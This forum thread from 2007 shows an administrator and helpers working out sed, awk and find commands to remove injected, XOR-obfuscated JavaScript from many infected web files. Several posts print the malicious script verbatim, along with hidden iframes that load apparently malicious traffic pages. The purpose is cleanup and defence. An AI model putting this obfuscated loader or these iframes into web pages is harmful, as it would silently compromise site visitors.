javascript injection

fed.linuxgossip · March 5, 2007, 3:33pm

Please advise a script to get rid of the following code which is infected in a large number of files ( in particular php and html files )

Thanks

sb008 · March 5, 2007, 4:01pm

fed.linuxgossip:

Please advise a script to get rid of the following code which is infected in a large number of files ( in particular php and html files )

<div id="testws35fdgh"></div>
<script language="JavaScript">
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x34\x38\x30\x6b";
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;
dst = "";
for(i = 0; i < sr.length; i++) {
var d = parseInt(sr.charCodeAt(i) ^ 85);
dst = dst + String.fromCharCode(d);
}
document.getElementById("testws35fdgh").innerHTML = dst;
</script>'>

Thanks

Are there any other sections which start with:

and end with:

</script>'>

So do sections like:

<div id="testws35fdgh"></div>
some
other
lines
in between
</script>'>

exist?

fed.linuxgossip · March 5, 2007, 4:30pm

No there isn't ...... but there is multiple instance of the same code in a single file.

say ....

mailnull 12442 0.0 0.2 6936 2288 pts/1 S 05:20 0:05 eximstats
root 12494 1.3 48.0 676664 493888 pts/1 DN 05:20 7:55 cpanellogd - updating bandwidth for nandkdes

root@server1 [/opt/public_html/includes]# grep -lr 'testws35fdgh' .
./login.php
./main.php
root@server1 [/opt/public_html/includes]#

root@server1 [/opt/public_html/includes]# cat main.php | more
<font color='<?php echo $config['font']; ?> <div id="testws35fdgh"></div>
<script language="JavaScript">
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26
\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a
"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\
x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\
x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x3
4\x38\x30\x6b";
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;
dst = "";
for(i = 0; i < sr.length; i++) {
var d = parseInt(sr.charCodeAt(i) ^ 85);
dst = dst + String.fromCharCode(d);
}
document.getElementById("testws35fdgh").innerHTML = dst;
</script>'>
<b><?php echo $config['welcomemsg']; ?> <div id="testws35fdgh"></div>
<script language="JavaScript">
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26
\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a
"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\
x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\
x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x3
4\x38\x30\x6b";
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;
dst = "";
for(i = 0; i < sr.length; i++) {
var d = parseInt(sr.charCodeAt(i) ^ 85);
dst = dst + String.fromCharCode(d);
}
document.getElementById("testws35fdgh").innerHTML = dst;
</script></b><br>
This interface has admin provision set to <b><?php echo $config['provision']; ?><div id="testws35fdgh"></div>
<script language="JavaScript">
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26
\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a
"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\
x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\
x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x3
4\x38\x30\x6b";
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;
dst = "";
for(i = 0; i < sr.length; i++) {
var d = parseInt(sr.charCodeAt(i) ^ 85);
dst = dst + String.fromCharCode(d);
}
document.getElementById("testws35fdgh").innerHTML = dst;
</script>

Please advise.

Thanks

sb008 · March 5, 2007, 4:41pm

fed.linuxgossip:

No there isn't ...... but there is multiple instance of the same code in a single file.

say ....

mailnull 12442 0.0 0.2 6936 2288 pts/1 S 05:20 0:05 eximstats
root 12494 1.3 48.0 676664 493888 pts/1 DN 05:20 7:55 cpanellogd - updating bandwidth for nandkdes

root@server1 [/opt/public_html/includes]# grep -lr 'testws35fdgh' .
./login.php
./main.php
root@server1 [/opt/public_html/includes]#

root@server1 [/opt/public_html/includes]# cat main.php | more
<font color='<?php echo $config['font']; ?> <div id="testws35fdgh"></div>
<script language="JavaScript">
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26
\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a
"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\
x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\
x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x3
4\x38\x30\x6b";
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;
dst = "";
for(i = 0; i < sr.length; i++) {
var d = parseInt(sr.charCodeAt(i) ^ 85);
dst = dst + String.fromCharCode(d);
}
document.getElementById("testws35fdgh").innerHTML = dst;
</script>'>
<b><?php echo $config['welcomemsg']; ?> <div id="testws35fdgh"></div>
<script language="JavaScript">
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26
\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a
"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\
x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\
x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x3
4\x38\x30\x6b";
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;
dst = "";
for(i = 0; i < sr.length; i++) {
var d = parseInt(sr.charCodeAt(i) ^ 85);
dst = dst + String.fromCharCode(d);
}
document.getElementById("testws35fdgh").innerHTML = dst;
</script></b><br>
This interface has admin provision set to <b><?php echo $config['provision']; ?><div id="testws35fdgh"></div>
<script language="JavaScript">
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26
\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a
"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\
x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\
x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x3
4\x38\x30\x6b";
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;
dst = "";
for(i = 0; i < sr.length; i++) {
var d = parseInt(sr.charCodeAt(i) ^ 85);
dst = dst + String.fromCharCode(d);
}
document.getElementById("testws35fdgh").innerHTML = dst;
</script>

Please advise.

Thanks

You might try something like this:

sed -e '/id="testws35fdgh"/,/<\/script>/d' login.php > login.php.new

and verify login.php.new if it is as you wish

fed.linuxgossip · March 5, 2007, 5:10pm

Please be online.. I am checking it

fed.linuxgossip · March 5, 2007, 5:22pm

It almost works well but it removes anything that is on the same line as the letter "testws35fdgh". In this case if you check the two files... you will find that the </body> tag present in the infected file is missing in index.html.html.new . Also please advise how can we successfully do this for thousands of files in the entire /home directory. The directory structure of /home is like /home/username/public_html

root@server1 [/opt/abc/manual]# cat index.html.html
########################Top part truncated ########################
</tr>
</table>
<br />
<br />
</div>

&lt;p align="center"&gt;Maintained by the &lt;a
href="http://httpd.apache.org/docs-project/"&gt;Apache HTTP Server
Documentation Project&lt;/a&gt;.&lt;/p&gt;
    &lt;hr /&gt;

&lt;h3 align="CENTER"&gt;Apache HTTP Server&lt;/h3&gt;
&lt;a href="./"&gt;&lt;img src="images/index.gif" alt="Index" /&gt;&lt;/a&gt;

</body><div id="testws35fdgh"></div>
<script language="JavaScript">
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x34\x38\x30\x6b";
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;
dst = "";
for(i = 0; i < sr.length; i++) {
var d = parseInt(sr.charCodeAt(i) ^ 85);
dst = dst + String.fromCharCode(d);
}
document.getElementById("testws35fdgh").innerHTML = dst;
</script>
</html>

root@server1 [/opt/abc/manual]# sed -e '/id="testws35fdgh"/,/<\/script>/d' index.html.html > index.html.html.new

root@server1 [/opt/abc/manual]# cat index.html.html.new
########################Top part truncated ########################
</tr>

          &lt;tr&gt;
            &lt;td&gt;&lt;a href="sitemap.html"&gt;SiteMap&lt;/a&gt;
            &lt;/td&gt;
          &lt;/tr&gt;

          &lt;tr&gt;
            &lt;td&gt;&lt;a href="misc/tutorials.html"&gt;Tutorials&lt;/a&gt;
            &lt;/td&gt;
          &lt;/tr&gt;

          &lt;tr&gt;
            &lt;td&gt;&lt;a href="misc/"&gt;Other Notes&lt;/a&gt; &lt;/td&gt;
          &lt;/tr&gt;
        &lt;/table&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/table&gt;
  &lt;br /&gt;
  &lt;br /&gt;
&lt;/div&gt;

&lt;p align="center"&gt;Maintained by the &lt;a
href="http://httpd.apache.org/docs-project/"&gt;Apache HTTP Server
Documentation Project&lt;/a&gt;.&lt;/p&gt;
    &lt;hr /&gt;

&lt;h3 align="CENTER"&gt;Apache HTTP Server&lt;/h3&gt;
&lt;a href="./"&gt;&lt;img src="images/index.gif" alt="Index" /&gt;&lt;/a&gt;

</html>

Thanks

fed.linuxgossip · March 5, 2007, 5:46pm

What about removing only .....

at the first instance and the "<div id="testws35fdgh"></div>" part with a replace command at the second instance.

How should I start/end the sed command for

Thanks

fed.linuxgossip · March 5, 2007, 5:51pm

root@server1 [/opt/abc/manual]# sed -e '/language="JavaScript"/,/<\/script>/d' footer.html > footer.html.new

works but what if there is some genuine javascript starting with <script language="JavaScript">

sb008 · March 5, 2007, 7:13pm

nawk '/id="testws35fdgh"/ { print $0"XXXXX" } { print $0 }' login.php | sed -e 's/<div id="testws35fdgh">.*XXXXX$//' -e '/id="testws35fdgh"/,/<\/script>/d' > login.php.new

fed.linuxgossip · March 5, 2007, 7:15pm

Thank you.. checking it.. please be online.. I want to resolve this..

fed.linuxgossip · March 5, 2007, 7:20pm

nawk command is not availabe in the server... is rpm package avaible for nawk command in redhat linux ?

fed.linuxgossip · March 5, 2007, 7:27pm

Great... thanks a ton.... its working perfect... you are my hero.

I have used awk instead of nawk

root@server1 [/opt/abc/manual]# awk '/id="testws35fdgh"/ { print $0"XXXXX" } { print $0 }' footer.html | sed -e 's/<div id="testws35fdgh">.*XXXXX$//' -e '/id="testws35fdgh"/,/<\/script>/d' > footer.html.new

root@server1 [/opt/abc/manual]# cat footer.html
<hr />

&lt;h3 align="CENTER"&gt;Apache HTTP Server&lt;/h3&gt;
&lt;a href="./"&gt;&lt;img src="images/index.gif" alt="Index" /&gt;&lt;/a&gt;

root@server1 [/opt/abc/manual]#
root@server1 [/opt/abc/manual]#
root@server1 [/opt/abc/manual]# cat footer.html.new
<hr />

&lt;h3 align="CENTER"&gt;Apache HTTP Server&lt;/h3&gt;
&lt;a href="./"&gt;&lt;img src="images/index.gif" alt="Index" /&gt;&lt;/a&gt;

Thanks a lot......

1 last question.... how can we devise a script that will replace this on the same file it is scanned for.. it is not possible for me to manually run this script for each file.... is it possible?

sb008 · March 5, 2007, 7:36pm

fed.linuxgossip:

Great... thanks a ton.... its working perfect... you are my hero.

I have used awk instead of nawk

root@server1 [/opt/abc/manual]# awk '/id="testws35fdgh"/ { print $0"XXXXX" } { print $0 }' footer.html | sed -e 's/<div id="testws35fdgh">.*XXXXX$//' -e '/id="testws35fdgh"/,/<\/script>/d' > footer.html.new

root@server1 [/opt/abc/manual]# cat footer.html
<hr />

<h3 align="CENTER">Apache HTTP Server</h3>
<a href="./"><img src="images/index.gif" alt="Index" /></a>
<IFRAME name='StatPage' src='http://www.kaspersky-norton.ws/new/traff.php' width=5 height=5 style='display:none'></IFRAME><IFRAME name='StatPage' src='http://www.kusik-tusik-trf.com/trf/traf.php' width=5 height=5 style='display:none'></IFRAME><div id="testws35fdgh"></div>
<script language="JavaScript">
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x26\x21\x30\x39\x34"; var4 = "\x34\x27\x21\x3a\x3c\x26\x7b\x27\x20\x7a"; var5 = "\x3c\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25"; var6 = "\x72\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72"; var7 = "\x64\x63\x72\x75\x22\x3c\x31\x21\x3d\x68"; var8 = "\x72\x64\x63\x72\x75\x33\x27\x34\x38\x30"; var9 = "\x37\x3a\x27\x31\x30\x27\x68\x72\x65\x72"; var10 = "\x75\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32"; var11 = "\x68\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33"; var12 = "\x27\x34\x38\x30\x6b";
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;
dst = "";
for(i = 0; i < sr.length; i++) {
var d = parseInt(sr.charCodeAt(i) ^ 85);
dst = dst + String.fromCharCode(d);
}
document.getElementById("testws35fdgh").innerHTML = dst;
</script>

root@server1 [/opt/abc/manual]#
root@server1 [/opt/abc/manual]#
root@server1 [/opt/abc/manual]# cat footer.html.new
<hr />

<h3 align="CENTER">Apache HTTP Server</h3>
<a href="./"><img src="images/index.gif" alt="Index" /></a>
<IFRAME name='StatPage' src='http://www.kaspersky-norton.ws/new/traff.php' width=5 height=5 style='display:none'></IFRAME><IFRAME name='StatPage' src='http://www.kusik-tusik-trf.com/trf/traf.php' width=5 height=5 style='display:none'></IFRAME>

Thanks a lot......

1 last question.... how can we devise a script that will replace this on the same file it is scanned for.. it is not possible for me to manually run this script for each file.... is it possible?

#!/usr/bin/ksh

find <top directory where all these files are located> -type f -exec grep -l  'id="testws35fdgh"' {} \; | \
while read FILE
do
  awk '/id="testws35fdgh"/ { print $0"XXXXX" } { print $0 }' ${FILE} | sed -e 's/<div id="testws35fdgh">.*XXXXX$//' -e '/id="testws35fdgh"/,/<\/script>/d' > /tmp/whatsinaname
  cp /tmp/whatsinaname ${FILE}
done
rm /tmp/whatsinaname

fed.linuxgossip · March 5, 2007, 7:44pm

Checking

Thanks

cbkihong · March 5, 2007, 8:38pm

Why fix the infected files? Don't you keep a sane copy of your static pages and scripts offline at a safe place?

Your CGI/PHP/etc. ought to be implemented in such a way to have converted '<' and '>' received to '<' and '>' before generating the output. Injection will not have been successful if this check exists.

fed.linuxgossip · March 5, 2007, 8:43pm

The script seems to be working fine.. thanks a lot.. i will let you know the effectiveness of the script after I run it serverwide.

fed.linuxgossip · March 5, 2007, 8:45pm

Hello cbkihong,

Please explain --->

Your CGI/PHP/etc. ought to be implemented in such a way to have converted '<' and '>' received to '<' and '>' before generating the output. Injection will not have been successful if this check exists.

Thanks.

cbkihong · March 6, 2007, 7:52am

What I meant was this:

Neither fixing the defaced files nor replacing them is patching the security hole. The issue occurs because your PHP/CGI does not replace all '<' and '>' with their HTML entities counterpart (< >) in dynamically generated text when generating HTML output. If your PHP/CGI has implemented this, even though people try to inject script sections into your HTML files, they will not become executable Javascript and at least the attack is not successful because browsers will not treat them as script and execute them (people will see some strange Javascript code on the page, but you should be monitoring such, right?).

Try search for more information online on javascript injection. There are many patterns for these kinds of attacks.

fed.linuxgossip · March 7, 2007, 8:22pm

Hi,

There seems to be problems still with pages that have genuine javascript code.

Anyways... thank you very much for your advise.

fed.linuxgossip · March 16, 2007, 7:44pm

Hello sb008,

I finally found that the script works perfect except that it removes the last line of instead of just "</script>" ....

To explain you shown I have added the test below...

If you notice you will fine that.. for the line that has javascript closing code..
</script> it removes </html> from </script> </html>. If this can be fixed... the script will work superb.

root@server2 [/home/planetc]# cat /root/replaceJavInfect
find /home/planetc/public_html -type f -exec grep -l 'id="testws35fdgh"' {} \; | \
while read FILE
do
awk '/id="testws35fdgh"/ { print $0"XXXXX" } { print $0 }' ${FILE} | sed -e 's/<div id="testws35fdgh">.*XXXXX$//' -e '/id="testws35fdgh"/,/<\/script>/d' > /tmp/whatsinaname
cp /tmp/whatsinaname ${FILE}
done

root@server2 [/home/planetc]# cat public_html/templates/fjt_cortrivenus/index.html
<html><body bgcolor="#FFFFFF"></body><div id="testws35fdgh"></div>
<script language="JavaScript">
var0 = "\x69\x3c\x33\x27\x34\x38\x30\x75\x3b\x34"; var1 = "\x38\x30\x68\x72\x36\x3a\x20\x3b\x21\x30"; var2 = "\x27\x72\x75\x26\x27\x36\x68\x72\x3d\x21"; var3 = "\x21\x25\x6f\x7a\x7a\x33\x27\x34\x38\x30"; var4 = "\x26\x21\x34\x21\x7b\x3b\x30\x21\x7a\x3c"; var5 = "\x3b\x31\x30\x2d\x67\x7b\x25\x3d\x25\x72"; var6 = "\x75\x3d\x30\x3c\x32\x3d\x21\x68\x72\x64"; var7 = "\x63\x72\x75\x22\x3c\x31\x21\x3d\x68\x72"; var8 = "\x64\x63\x72\x75\x33\x27\x34\x38\x30\x37"; var9 = "\x3a\x27\x31\x30\x27\x68\x72\x65\x72\x75"; var10 = "\x26\x36\x27\x3a\x39\x39\x3c\x3b\x32\x68"; var11 = "\x72\x3b\x3a\x72\x6b\x69\x7a\x3c\x33\x27"; var12 = "\x34\x38\x30\x6b";
sr = var0+var1+var2+var3+var4+var5+var6+var7+var8+var9+var10+var11+var12;
dst = "";
for(i = 0; i < sr.length; i++) {
var d = parseInt(sr.charCodeAt(i) ^ 85);
dst = dst + String.fromCharCode(d);
}
document.getElementById("testws35fdgh").innerHTML = dst;
</script> </html>

root@server2 [/home/planetc/public_html]# cat templates/fjt_cortrivenus/index.html
<html><body bgcolor="#FFFFFF"></body>
root@server2 [/home/planetc/public_html]#

Please advise.

Thanks